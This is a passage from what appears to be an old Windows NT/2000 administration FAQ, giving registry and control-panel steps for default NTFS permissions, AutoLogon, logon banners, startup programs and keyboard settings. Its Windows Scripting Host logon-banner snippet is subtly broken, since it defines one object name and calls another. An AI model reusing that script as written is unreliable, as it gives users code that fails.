    D:\Program Files\Microsoft Office\Office\winword.exe %1
  5. Once completed click OK and close the registry editor

There is no need to reboot, the change take immediate affect. To reset back to notepad change the entry to

%SystemRoot%\System32\NOTEPAD.EXE %1


Q. What are the default protections on an NTFS boot partition?

A. Below is a list from Knowledge base article Q172008 at http://support.microsoft.com/support/kb/articles/q172/0/08.asp

<root>:\-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   System - Full Control

<boot partition>:\Msapps and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\Program Files and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\Temp-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   System - Full Control

<boot partition>:\Users-

   Administrators - Special (RWXD)
   Everyone - List (RX)
   System - Full Control

<boot partition>:\Users\Default-

   Creator/Owner - Full Control
   Everyone - Special (RWX)
   System - Full Control

<boot partition>:\Win32app-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Read (RX)
   Server Operators - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%-

   Administrators- Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Config-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Cookies-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Cursors-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Desktop-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Fonts-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Help-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\History-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Inf-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Java and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Media-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Nwspool-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\Profiles-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\profiles\Administrators

   Administrators - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%\profiles\All Users and <subdirectories>-

   Administrators - Full Control
   Everyone - Read
   System - Full Control

<boot partition>:\%SystemRoot%\profiles\Default User and <subdirectories>-

   Administrators - Full Control
   Everyone - Read
   System - Full Control

<boot partition>:\%SystemRoot%\Profiles\<username> and <subdirectories>-

   Administrators - Full Control
   <username> - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%\Repair-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Read
   Server Operators - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%\Shellnew-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Cache-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Dhcp-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Read (RX)
   Server Operators - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Drivers and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Read (RX)
   Server Operators - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Inetsrv and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Lls-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Logfiles-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Netmon and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Os2 and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Ras

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change (RWXD)
   Server Operators - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Repl

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Read (RX)
   Server Operators - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Repl\Export and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Read (RX)
   Replicator- Change (RWXD)
   Server Operators - Change (RWXD)
   System - Full Control

<boot partition>:\%SystemRoot%\System32\repl\import and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Read (RX)
   Replicator- Change (RWXD)
   Server Operators - Change (RWXD)
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Spool and <subdirectories>-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Read (RX)
   Print Operators- Full Control
   Server Operators - Full Control
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Viewers-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

<boot partition>:\%SystemRoot%\System32\Spool\Wins-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change (RWXD)
   Server Operators - Change (RWXD)
   System - Full Control

<boot partition>:\%SystemRoot%\Temporary Internet Files and <subdirectories>

   Administrators- Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

Any other directories-

   Administrators - Full Control
   Creator/Owner - Full Control
   Everyone - Change
   Server Operators - Change
   System - Full Control

These permissions do not apply to a drive that is converted to NTFS using the CONVERT utility. A converted NTFS drive consists of all files and directories with Everyone - Full Control as the default permission. To reset to the normal protections see Q. How can I restore the default permissions to the NT structure?


Q. How do I configure the default keyboard layout during login?

A. You can change the keyboard layout using the keyboard control panel applet (start - settings - control panel - keyboard - Input Locales) however this does not affect the layout used during logon (which is by default English (United States)). To change this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_USERS\.DEFAULT\Keyboard Layout\Preload
  3. Double click on 1 and change the number to your local layout (you could get this by looking at HKEY_CURRENT_USER\Keyboard Layout\Preload1). Click OK
  4. You may also change HKEY_USERS\.DEFAULT\Control Panel\International\Locale to this value however it is not mandatory to do so.
  5. Close the registry editor
  6. Logoff and then on again

Make sure you select a country code that has been installed via the control panel or your system will not boot.

A table of the codes to the countries is given below:

00000402 | Bulgarian
0000041a | Croatian
00000405 | Czech
00000406 | Danish
00000413 | Dutch (Standard)
00000813 | Dutch (Belgian)
00000409 | English (United States)
00000809 | English (United Kingdom)
00001009 | English (Canadian)
00001409 | English (New Zealand)
00000c09 | English (Australian)
0000040b | Finnish
0000040c | French (Standard)
0000080c | French (Belgian)
0000100c | French (Swiss)
00000c0c | French (Canadian)
00000407 | German (Standard)
00000807 | German (Swiss)
00000c07 | German (Austrian)
00000408 | Greek
0000040e | Hungarian
0000040f | Icelandic
00001809 | English (Irish)
00000410 | Italian (Standard)
00000810 | Italian (Swiss)
00000414 | Norwegian (Bokmal)
00000814 | Norwegian (Nynorsk)
00000415 | Polish
00000816 | Portuguese (Standard)
00000416 | Portuguese (Brazilian)
00000418 | Romanian
00000419 | Russian
0000041b | Slovak
00000424 | Slovenian
0000080a | Spanish (Mexican)
0000040a | Spanish (Traditional Sort)
00000c0a | Spanish (Modern Sort)
0000041d | Swedish
0000041f | Turkish

These can also be seen in the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout\DosKeybCodes


Q. How can I add my own information to General tab of the System Control Panel applet?

A. When you receive a PC from a manufacturer you may see extra lines of description text and a company logo in the General tab of a System Control Panel applet, and this can be changed or added as follows:

  1. Create a bitmap you want with dimensions 180 by 114. Save the picture in the %systemroot%/system32 folder (e.g. d:\winnt\system32) with a name of OEMLOGO.BMP. If the picture is greater than this size then it will be clipped from the top left corner. If it is smaller then a black border will be added.
  2. Create the file %systemroot%/system32/OEMINFO.INI (e.g.
        d:\winnt\system32\oeminfo.ini) with the following format:
[general]
Manufacturer=SavillTech Ltd
Model=SuperDuper 1
[Support Information]
Line1=" "
Line2="For support ...."
Line3=" "

You do not need to reboot the machine, the system control panel applet will pick up the files when started. The information above would give the following:

sysgen.gif (15357 bytes)


Q. How can I change the program associated with a file extension?

A. The easiest way is to:

  1. Start Explorer
  2. Hold down the shift key and right click on a file with the extension you wish to change
  3. From the context menu displayed select the "Open with"
  4. Select the Application from the list (or click other) and check the "Always use this program to open this type of file"
  5. Click OK

An alternative method is to:

  1. Start Explorer
  2. Select Options (or Folder Options for IE 4.0 installations) from the View menu
  3. Click "File Types" tab
  4. Select the File type and click Edit
  5. You can edit the open and print actions for the file type. To change the open select Open in the actions and click Edit, you can then change the command
  6. Click OK when finished


Q. How do I set a process to use a certain processor?

A. This is called processor affinity where you set a process to use a specific processor on a multi-processor system.

  1. Start Task Manager (Right click on the task bar and select Task Manager)
  2. Click the Processes tab
  3. Right click on the program and select "Set Affinity"
  4. You can check the processors you want the program to run on (uncheck the ones you don't want it to use)

You cannot set affinity for a service, or set affinity for a program which has not yet been started.


Q. I have duplicate entries on my boot menu.

A. This is easy to remedy and is usually caused by reinstalling Windows NT.

  1. Start a Command Prompt (cmd.exe)
  2. Enter the command
    attrib c:\boot.ini -r -s
  3. Now edit boot.ini
    edit boot.ini
  4. You will see lines like
    multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows NT Workstation Version 4.00"
    multi(0)disk(0)rdisk(0)partition(2)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo /sos
    C:\ = "MS-DOS"
    under the [operating systems] section of the file, if you see any duplicates delete them, make sure you delete the right ones if they differ with the multi(0)disk(0)rdisk(0)partition(2) parts as it means you had NT installed on a different disk/partition before.


Q. How can I stop a service from the command line?

A. To get a list of the running services enter the command

net start

(you can add > [filename] to the end to make it output to a file, i.e. net start > services.lst). You can then try to shutdown each of them by entering the command

net stop "<service name>" ,e.g. net stop "spooler". Some services will ask you to enter a y to confirm, and for these just add /y to the end.

You can also use the Resource Kit SC.EXE command, use

sc query

to get a list of the services, and then

sc stop <service name>

to stop the service.


Q. How can I add the printer panel to the Start menu?

A. To add a Printer panel to the Start menu, perform the following:

  1. Create a new folder (right-click the desktop and choose New, Folder). Name the folder:
    Printers.{2227A280-3AEA-1069-A2DE-08002B30309D}
  2. Right-click Start and choose Open.
  3. Drag the new folder to the Start Menu window.

The Printer Panel will now be on the start menu and will be cascading meaning all printers can be viewed as sub-objects of the menu item.


Q. How can I hide the Administrative Tools on the Start menu?

A. There are several options open to you:

1, Set the protections on the folder and its contents so only members of the Administrative group can read/execute it. This will only work if the boot partition is NTFS

  1. Start Explorer
  2. Move to %systemroot%\Profiles\All Users\Start Menu\Programs
  3. Select "Administrative Tools (Common)" and select Properties from the File menu (or Right click the file and select properties)
  4. Click the Security tab
  5. Click the Permissions button
  6. Select "Everyone" and click Remove
  7. Click Add and select "Domain Admins" click Add and select Access to "Full Control". Click OK
  8. Back in the "Directory Permissions" dialog box click OK

Non-administrative users will now see an empty "Administrative Tools" menu. You could select different users if you wish.

2, You could also just move the Administrative Tools folder from the All Users section to a specific account area on the machine. There may be complications with roaming profiles etc.

The methods above just hide the items from the menu, however users could still run the applications from Run, however the operating system prevents unauthorized users altering the system using these tools so that is not a problem (you could always set the protections on the images as well if you don't want users to run them).


Q. How do I restrict access to the floppy drive?

A. The NT Resource Kit and the Zero Administration Kit come with FLOPLOCK service

  1. Install the FlopLock service
    instsrv FloppyLocker c:\reskit\floplock.exe
  2. Start the Service Control Panel Applet (Start - settings - control panel - services)
  3. Double click on FloppyLocker and make sure the System Account is selected.
  4. Set the startup to Automatic and click OK
  5. You can manually start the service to avoid the reboot by selecting FloopyLocker and click Start

With the service started on Windows NT Workstation, only members of the Administrators and Power Users groups can access the floppy drives. When the service is started on Windows NT Server, only members of the Administrators group can access the floppy drives.

To remove the service perform the following:

  1. Stop the FloppyLocker service (start - settings - control panel - services - FloppyLocker - Stop)
  2. Enter the command
    instsrv FloppyLocker remove


Q. How do I enable AutoLogon?

A. The easiest way is to install TWEAKUI, and goto the Network Tab and just fill in the boxes. It can be done manually through the registry by following the instructions below:

  1. Start regedit.exe (Start - Run - regedit)
  2. Open the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon
  3. Double click the DefaultDomainName and fill in your domain name
  4. Double click the DefaultUserName and fill in login name
  5. From Edit menu select New String Value, and enter DefaultPassword as name of value
  6. Double click the DefaultPassword and enter in the password
  7. From Edit menu select New String Value, and enter AutoAdminLogon as name of value
  8. Double click the AutoAdminLogon and set the value to the number 1
  9. Close regedit
  10. Logoff and you will be automatically logged in again

You should also make sure DontDisplayLastUserName (also under the WinLogon key) is set to 0.

The instructions above should only be done by someone who is happy with using the registry editor. Below is an example reg file that could be used:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"DefaultUserName"="User"
"DefaultDomainName"="Domain"
"AutoAdminLogon"="1"
"DefaultPassword"="Password"

It is also possible using a program called autolog.exe that comes with the resource kit. Just run the executable and you will be able to fill in the information.

To logon as a different user you need to hold down the shift key as you logoff.

You will have to use regedit32.exe to disable write permissions to "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon" if you want to be able to logoff and login as another user but still have the "original" user as the autologon.

  1. Start regedt32.exe
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon
  3. Select Winlogon
  4. From the Security menu select Permissions and adjust so write permission is removed for normal users.


Q. How do I disable AutoLogon?

A. Again use TWEAKUI, or in REGEDIT set AutoAdminLogon to 0, and clear the DefaultPassword


Q. How do I add a warning Logon message?

A. You need to use the registry editor

  1. Start the registry editor (regedit)
  2. Move to HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon
  3. Double Click the "LegalNoticeCaption", and enter the text to be in the title bar, click OK
  4. Double Click the "LegalNoticeText", and enter the warning text and click OK
  5. Close the registry and logoff, when you logon you will see the warning

In Windows 2000 step 2 would be to move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system instead.

This can also be done via the policy editor (poledit.exe) for NT 4.0

  1. Start the policy editor (poledit.exe)
  2. Open the default Computer Policy
  3. Open the Windows NT System tree and then Logon
  4. Put a tick in the "Logon banner" and enter the caption and text
  5. Click OK and save the policy

For Windows 2000 Group Policy Objects move to Computer Configuration - Windows Settings - Security Settings - Local Policies - Security Options and set the 'Message text for users attempting to log on' and 'Message title for users attempting to log on'.

Alternatively, a text message can be displayed by creating the key LogonPrompt in HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon

Windows Scripting Host can also be used to create these messages as follows:

Set WSHShell = CreateObject("WScript.Shell")
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\WinLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
objShell.RegWrite s1+s2, "SavillTech Ltd"
objShell.RegWrite s1+s3, "Only Authorized Access Allowed!"


Q. How do I stop the last logon name being displayed?

A. For security reasons it may be desirable to stop the last logon name logged on being display so to stop perform the following:

  1. Start the registry editor (Regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Double click DontDisplayLastUserName
  4. Set to 1 and click OK
  5. Close the registry editor

This can also be done using the policy editor, and is under the Windows NT System - Logon tree, and tick "do not display last logged on username".

Under Windows 2000 dontdisplaylastusername has been moved to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system.

To assign using a Group Policy Object set under the Computer Configuration - Windows Settings - Security Settings - Local Policies - Security Options - Do not display last user name in logon screen


Q. How can I stop people logging on to the server?

A. If you want to disable an NT servers ability to handle authentication then it is possible to stop the "Net logon" service:

  1. Start Control Panel
  2. Double click on Services
  3. Click "Net Logon" and then click Pause
  4. Exit Control Panel

To disable all of NT's server services, click on Server and click stop, which will stop "Net Logon", "Computer Browser" and any other server services.


Q. Users fail to logon at a server.

A. By default members of Domain Users will not be able to logon to a server, i.e. a PDC or a BDC, and if they try the error "The local policy of this system does not allow you to logon interactively". If you want users to be able to logon to a server (why I don't know) follow the procedure below:

  1. Logon to the server as an Administrator
  2. Start User Manager for Domains (Start - Programs - Administrative Tools - User Manager for Domains)
  3. Select "User Rights" from the "Policies" menu
  4. From the drop down "Rights" list select "Log on locally"
  5. Click Add, and select "Domain Users", click Add, then click OK
  6. Close User Manager
  7. Logout and a User will now be able to login


Q. How do I enable NumLock automatically?

A. The registry entry HKEY_CURRENT_USER\Control Panel\Keyboard\InitialKeyboardIndicators can be used to set the initial state of the Num Lock key for the current user. To modify the state of NumLock for the logon screen.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_USERS\.DEFAULT\Control Panel\Keyboard (we are editing .default which is the profile used prior to logon)
  3. Double click on InitialKeyboardIndicators
  4. Set to 2 and click OK
  5. Close the registry editor

An easier way is to turn NumLock on and the logoff using Ctrl-Alt-Del Logoff which will preserve the state of Numlock..


Q. How do I limit the number of simultaneous logons?

A. Perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
  3. Double click on the users value in the right hand pane. Set the type to decimal and then enter the maximum number of simultaneous connections. This will be 10 on a workstation
  4. Click OK and close the registry editor


Q. %SystemRoot% is not expanded when I use it in a command.

A. If when you type SET or PATH at a command prompt, you notice that the %SystemRoot% environment variable has not been expanded this is a problem and needs to be corrected:

  1. Start the Registry Editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
  3. Look at the Path in the right hand pane and check the type (its the second part), e.g.
    Path: REG_EXPAND_SZ: %SystemRoot% etc.
    If the type is not REG_EXPAND_SZ then perform the next steps, if not exit the Registry Editor
  4. Double click on Path and select the contents and press Ctrl-C to copy to the clipboard
  5. While Path is still selected, select Delete from the Edit menu (or click the Del key). Confirm the deletion
  6. Make sure Environment is selected in the left hand pane and select "Add Value" from the Edit menu
  7. Enter a name of Path (note the capital P in path), and type REG_EXPAND_SZ. Click OK
  8. Double click Path and Ctrl-V to copy back in the info you copied into the clipboard. Click OK
  9. Close the Registry Editor

You can also check HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot and make sure that this REG_SZ value conains the proper path (e:\winnt).


Q. How can I disable the Win key?

A. To disable both Windows keys perform the following:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout
  3. From the Edit menu select New - Binary Value
  4. Enter a name of "Scancode Map" and press enter
  5. Double click on the new value and set to
    0000 0000 0000 0000 0300 0000 0000 5BE0 0000 5CE0 0000 0000 Do not type the spaces, I only include them only to help you view the data
  6. Click OK
  7. Close the registry editor and reboot the machine

Once the machine has restarted the Win key will no longer work

You can automate this by placing the command in a regini file, create the file remove_win.ini with the following contents

\Registry\Machine\SYSTEM\CurrentControlSet\Control\Keyboard Layout
      Scancode Map = REG_BINARY 24   \
      0x00000000 0x00000000 3        \
      0xE05B0000 0xE05C0000          \
      0x0

To then run the script enter the command

regini remove_win.ini

Regini.exe is supplied with the Windows NT Resource kit.

To re-enable the Win key delete the "Scancode Map" value you created.


Q. How do I set the number of Cached logons a machine stores?

A. By default an NT machine (since version 3.5, 3.1 only stored the last 1) caches the last 10 succesful logons, however this can be changed from anywhere between 0 and 50.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - String Value.
  4. Enter a name of CachedLogonsCount and press enter
  5. Double click on the new value and set between 0 and 50. 0 means no logons will be cached, 50 will cache the last 50. Click OK
  6. Close the registry editor
  7. Reboot the machine

If someone attempts to logon and the domain controller is not available but their information is cached they will received the message

"A domain controller for your domain could not be contacted. You have been logged on using cached account information. Changes to your profile since you last logged on may not be available."

but still be logged on succesfully. If their information is not cached they will get the message

"The system cannot log you on now because the domain <domain name> is not available"

and not be logged on.


Q. How can I configure the system to run a program at logon time?

A. The easiest way is to add it to the start-up folder, and you have two choices, the first is to add the program just to your start-up menu (%systemroot%\Profiles\<username>\Start Menu) or to the all users startup menu (%systemroot%\Profiles\All Users\Start Menu).

If you don't want to do it this way (if you don't want users to be able to remove it) there is a registry key which can be used to run programs.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  3. From the Edit menu select New - String Value
  4. Give it any name you want, for example notepad
  5. Double click the new value and set it to the fully qualified path name of the program (unless it is part of your system path in which case you can just enter the image name), e.g. notepad.exe. Click OK
  6. Close the registry editor
  7. Logoff and on.

If you want a program to run only once and then never run again, perform the above but add the values under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce. Once the program has run it gets deleted from the RunOnce key.

You can also configure programs for your account only by adding values to HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run


Q. How can I install the Policy Editor on a Workstation?

A. The Policy editor is POLEDIT.EXE and a number of .adm files. To install the Policy Editor on a workstation perform the following:

  1. Copy POLEDIT.EXE from the %systemroot% on a Windows NT Server machine to the %systemroot% folder on the Workstation.
  2. Copy common.adm,windows.adm and winnt.adm from %systemroot%/inf on the NT Server to the %systemroot%/inf folder on the workstation

You will now be able to run the Policy Editor on a Windows NT Workstation. You may want to create a shortcut to POLEDIT.EXE in your Administrative Tools folder.


Q. How can I delete the "My Computer" icon?

A. It is not possible to delete the icon, however you can make it invisible.

  1. Right click on the desktop and select Properties
  2. Select the Plus tab
  3. Select "My Computer" and click "Change Icon"
  4. Change the file name to "%systemroot%\system32\tweakui.cpl"
  5. Select the 4th icon (a big blank) and click OK
  6. Click Apply then click OK

You could then move the icon to the bottom of the screen to hide the "My Computer" text.

Now, don't use autoarrange, and don't select a greater screen resolution and you will never see it again.


Q. How do I disable the file delete confirmation?

A. If you use the "Recycle Bin" then you can disable the delete confirmation

  1. Right click on the Recycle Bin and select properties
  2. Uncheck the "Display delete confirmaion dialog box"
  3. Click Apply then OK


Q. How can I switch the time between 24 hour and 12 hour?

A. There are 2 ways to configure this.

The first is using the Regional Control Panel applet

  1. Start the Regional control panel applet (start - settings - control panel - regional settings)
  2. Select the time tab
  3. HH in capitals means 24 hour, hh (lowercase) means 12 hours
  4. Click Apply then OK

The second is to directly edit the registry

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\International
  3. From the Edit menu select New - String
  4. Enter a name of iTime
  5. Double click and set to 0 for 12 hours and 1 for 24 hours. Click OK
  6. Close the registry editor
  7. Logoff and on again


Q. How can I suppress boot Error Messages?

A. If you are performing development or know of a problem you may decide you wish to suppress any of the error pop-ups that are displayed when there is a problem. An example would be a driver that can't be loaded or some other system component that is not acting correctly.

The pop-ups can be generated from either of the two main start-up phases, and a separate registry key needs to be set for each stage.

Errors that are displayed as a result of the boot phase can be disabled as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
  3. From the edit menu select New - DWORD value and enter a name of NoPopUpsOnBoot and press Enter
  4. Double click the new value and set to 1 to suppress boot errors. Click OK
  5. Close the registry editor and the change will take effect at the next reboot

To suppress error messages that are displayed as part of the post-boot start-up phase which includes most device driver messages perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
  3. From the edit menu select New - DWORD value and enter a name of ErrorMode and press Enter
  4. Double click the new value and set to 1 to display only application errors or 2 to suppress all error dialogs. Click OK
  5. Close the registry editor and the change will take effect at the next reboot

Instead of a blanket ban on all error msgs, you may prefer to mark some services as "optional" and not to generate an error if they don't start correctly. This can be accomplished by setting HKEY_LOCAL_MACHINEM\SYSTEM\CurrentControlSet\Services\<service>\ErrorControl to 0. For more information see:

Q. When I disconnect one of my devices (e.g. Zip drive) I get errors when I boot NT, how can I stop them?


Q. How can I enable/disable the Ctrl-Alt-Del to enter logon information?

Q. How can I enable/disable the Ctrl-Alt-Del to enter logon information? - Windows 2000 only

A. Windows NT 5.0 introduces the ability to remove the necessity of pressing Ctrl-Alt-Del, the Security Attention Sequence (SAS) to logon. By default on a workstation this is no longer needed however on a server it is still necessary but this can be configured with a single registry entry.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. Double click on DisableCAD (create of type REG_DWORD if it does not exist)
  4. Set to 1 if you don't want to have to press Ctrl-Alt-Del, and set to 0 if you do. Click OK
  5. Close the registry editor
  6. Reboot the machine

Disabling this feature does not decrease the security of Windows NT. To gain access to the computer, users are required to log on to Windows NT with a valid user name and password. The Windows NT logon process suspends all other user-mode processes to protect the logon process and is the only process that can create the access tokens used by the Windows NT security system.

This can also be set via a GUI on Windows 2000 Professional as follows:

  1. Start the Users and Passwords control panel applet (Start - Settings - Control Panel - Users and Passwords)
  2. Select the Advanced tab
  3. Unselect "Require users to press Ctrl-Alt-Delete before logging on."
  4. Click Apply then OK


Q. How can I stop the last username to logon from being displayed?

A. There are two ways of doing this. The easiest is if you have the TweakUI utility installed perform the following:

  1. Start the TweakUI control panel applet (Start - Settings - Control Panel - TweakUI)
  2. Select the Paranoia tab
  3. Check the "Clear Last User at logon" box
  4. Click Apply then OK

If you don't have TweakUI or simply want to achieve the result through the registry (maybe so you can set it from a logon script):

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon for NT 4.0 or HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system for Windows 2000.
  3. If the value DontDisplayLastUserName does not exist select New - String Value and enter a name of DontDisplayLastUserName
  4. Double click DontDisplayLastUserName and set to 1
  5. Close the registry editor


Q. The screen saver can only be configured to start up to 60 minutes.

A. This is a hard coded restriction of Windows NT 4.0, however Service Pack 4 increases this to 999 minutes.


Q. I have lost the ADMIN$ share.

A. If you have configured the system to not automatically create system shares at start-up time by setting the relevant registry entry AutoSharexxx then this share will not be created as that is what you are asking.

If however you do not have this set and you have just lost the ADMIN$ share which points to the %SytemRoot% folder, e.g. d:\winnt then you can recreate it by entering the following command:

C:\> net share admin$

For more information on suppressing the system shares please see Q. How do I stop the default admin shares from being created?


Q. How can I configure Notepad to wrap?

A. By default Notepad will allow you to enter text and not wrap when the screen is full, rather it will just scroll right. This behaviour can be altered.

Under the Edit menu of Notepad you can check "Word Wrap" however this can also be configured using the registry is you wanted to set this as the default for policies, as part of a login script or an unattended installation.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Notepad
  3. Double click on fWrap
  4. Set to 1 and click OK
  5. Close the registry editor


Q. How do I modify the login timer for profiles?

A. When you logon and, for instance, your local profile is newer than the one stored on the profile server you have an option of which to use and a timer of 30 seconds is given. This 30 seconds can be modified as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - DWORD value and enter a name of 'Show' and press Enter
  4. Double click the new value and set to between 0 and 600. Make sure you set the type to decimal. Click OK
  5. Close the registry editor
  6. This will take effect at next login


Q. How do I change the location for temporary files?

A. The are a number of "temp" variables, mainly temp and tmp and the values of these can be changed as follows:

  1. Start the System control panel applet
  2. Select the Environment tab
  3. Under "User Variables" select temp (or temp) and its value will be displayed. Modify it in the Value box and click Set.
  4. Once you have made all changes click Apply then OK

Alternatively you can directly edit the registry to make these changes

  1. Start the registry editor
  2. Move to HKEY_CURRENT_USER\Environment
